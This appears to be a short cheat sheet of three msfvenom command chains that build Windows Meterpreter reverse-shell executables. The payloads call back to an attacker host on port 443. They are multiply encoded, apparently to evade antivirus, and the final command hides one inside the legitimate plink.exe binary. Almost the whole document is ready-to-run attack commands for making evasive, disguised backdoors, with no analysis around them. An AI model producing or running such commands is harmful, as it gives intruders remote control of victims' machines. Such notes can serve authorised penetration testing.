# custom-payloads

CUSTOM-PAYLOADS

## this is a chained command -- enter it one line at a time

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.30.53 LPORT=443 -f raw -e x86/shikata\_ga\_nai -i 10 |  msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw |  msfvenom -a x86 --platform windows -e x86/shikata\_ga\_nai -i 9 -f exe -o payload.exe

\========================================================

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.30.53 LPORT=443 -f raw -e x86/shikata\_ga\_nai -i 10 |  msfvenom -a x86 --platform windows -e x86/jmp\_call\_additive -i 8 -f raw |  msfvenom -a x86 --platform windows -e x86/call4\_dword\_xor -i 8 -f raw |  msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw |  msfvenom -a x86 --platform windows -e x86/fnstenv\_mov -i 8 -f raw |  msfvenom -a x86 --platform windows -e x86/shikata\_ga\_nai -i 9 -f exe -o payload.exe

\========================================================

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.10.234 LPORT=443 R |  msfvenom -a x86 --platform windows -e x86/shikata\_ga\_nai -t exe -c --platform windows /usr/share/windows-binaries/plink.exe -o beffany.exe
